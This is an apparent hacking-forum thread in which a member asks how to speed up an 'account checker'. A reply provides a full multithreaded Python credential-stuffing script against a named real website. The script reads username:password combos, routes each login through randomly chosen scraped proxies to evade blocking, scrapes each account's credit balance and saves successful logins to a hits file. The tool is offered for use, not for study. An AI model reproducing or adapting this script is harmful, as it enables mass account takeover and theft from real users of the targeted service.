Navigation X
ALERT
Click here to register with a few steps and explore all our cool stuff we have to offer!



 1045

How can I make this code faster ? multithreading or async?

by shadow78 - 12 September, 2022 - 07:08 PM
This post is by a banned member (shadow78) - Unhide
shadow78  
Registered
314
Posts
10
Threads
4 Years of service
#1
(This post was last modified: 07 January, 2024 - 12:22 AM by shadow78. Edited 1 time in total.)
Hi guys I am making an account checker and I need to do it faster but I don't know how to use multithreading or use async? First I am getting proxies as shown in below then I choose wordlist to check if account exists, then I check them with requests library and then get the results in a text file:
 

 
Code:
 
This post is by a banned member (Kisuke_Urahara) - Unhide
60
Posts
4
Threads
5 Years of service
#2
(12 September, 2022 - 07:08 PM)shadow78 Wrote: Show More
Hi guys I am making an account checker and I need to do it faster but I don't know how to use multithreading or use async? First I am getting proxies as shown in below then I choose wordlist to check if account exists, then I check them with requests library and then get the results in a text file:

Just some very basic modifications. Don't quote me if you don't like them PepeKnife
Place the user:pass data in a txt file and name it "data.txt". Handle errors on your own.
Code:
from concurrent.futures import ThreadPoolExecutor
from threading import Lock
import random
import requests
from bs4 import BeautifulSoup
from os import getcwd

rp = requests.get('https://api.proxyscrape.com/v2/?request=displayproxies&protocol=http&timeout=5000&country=all&ssl=all&anonymity=all')
proxies = rp.content.decode().replace('\r', '').split("\n")
proxies.remove('')

# load user:pass from data.txt
user_data = [line.rstrip() for line in open(f"{getcwd()}\\data.txt").readlines()]
lock = Lock()


def checker(x):
    try:
        username = x.split(":")[0]
        password = x.split(":")[1]
    except IndexError:  # if there is no :
        print(f"[BAD] | {x}")
        return

    try:
        login_headers = {
            'Host': 'www.celebritymoviearchive.com',
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0',
            'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
            'Accept-Language': 'tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3',
            'Content-Type': 'application/x-www-form-urlencoded',
            'Origin': 'https://www.celebritymoviearchive.com',
            'Dnt': '1',
            'Referer': 'https://www.celebritymoviearchive.com/members/index.php',
            'Upgrade-Insecure-Requests': '1',
            'Sec-Fetch-Dest': 'document',
            'Sec-Fetch-Mode': 'navigate',
            'Sec-Fetch-Site': 'same-origin',
            'Sec-Fetch-User': '?1',
            'Connection': 'close',
        }
        proxy = {
            'http': 'http://'+random.choice(proxies)
        }

        payload = f"username={username}&password={password}&loginsubmit=%C2%A0"

        r = requests.post('https://www.celebritymoviearchive.com/members/index.php',
                          headers=login_headers, data=payload, proxies=proxy, timeout=30)

        cookieResponse = r.cookies["cmaauth"]
        cookies = {
            'cmaauth': cookieResponse,
        }

        check_account_headers = {
            'Host': 'www.celebritymoviearchive.com',
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0',
            'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
            'Accept-Language': 'tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3',
            'Referer': 'https://www.celebritymoviearchive.com/members/mydownloads.php',
            'Dnt': '1',
            'Upgrade-Insecure-Requests': '1',
            'Sec-Fetch-Dest': 'document',
            'Sec-Fetch-Mode': 'navigate',
            'Sec-Fetch-Site': 'same-origin',
            'Sec-Fetch-User': '?1',
            'Connection': 'close',
        }

        r = requests.get("https://www.celebritymoviearchive.com/members/account.php", cookies=cookies,
                         headers=check_account_headers, proxies=proxy, timeout=30)
        soup = BeautifulSoup(r.text, "html.parser")
        credit = soup.select_one('div.logout > h2:nth-child(1)').text
        with lock:  # if you use too many threads then python will start printing in same line and I don't like it
            print(f"[HIT] {username} | {password} | Credits: {credit}")
            with open(f"{getcwd()}\\hits.txt", "a") as f:
                f.write(f"{username}:{password} | Credits: {credit}\n")
        return
    except (ConnectionError, TimeoutError):
        with lock:  # if you use too many threads then python will start printing in same line and I don't like it
            print("Proxy Issue, Retrying..")
        checker(x)  # let's not skip it because of proxy issue, there are some other proxy errors as well like httperror, find it yourself
    except:
        with lock:  # if you use too many threads then python will start printing in same line and I don't like it
            print(f"[BAD] | {username} | {password}")


if __name__ == '__main__':
    try:
        thread_count = int(input("Enter thread count: "))
    except ValueError:
        input("Asked for Thread Count! Enter Numbers Only!")
        quit()

    with ThreadPoolExecutor(max_workers=thread_count) as executor:
        for data in user_data:
            executor.submit(checker, data)

    executor.shutdown(wait=True, cancel_futures=False)
    input("Press 'Enter' to exit.")
Need help with your Python code? Let me know.
This post is by a banned member (shadow78) - Unhide
shadow78  
Registered
314
Posts
10
Threads
4 Years of service
#3
thanks man, your code is better than mine
This post is by a banned member (SirDank) - Unhide
SirDank  
Infinity
1.849
Posts
54
Threads
4 Years of service
#4
you could try using > https://github.com/SirDank/dankware :)
This post is by a banned member (wiligangster) - Unhide

Create an account or sign in to comment
You need to be a member in order to leave a comment
Create an account
Sign up for a new account in our community. It's easy!
or
Sign in
Already have an account? Sign in here.


Forum Jump:


Users browsing this thread: 2 Guest(s)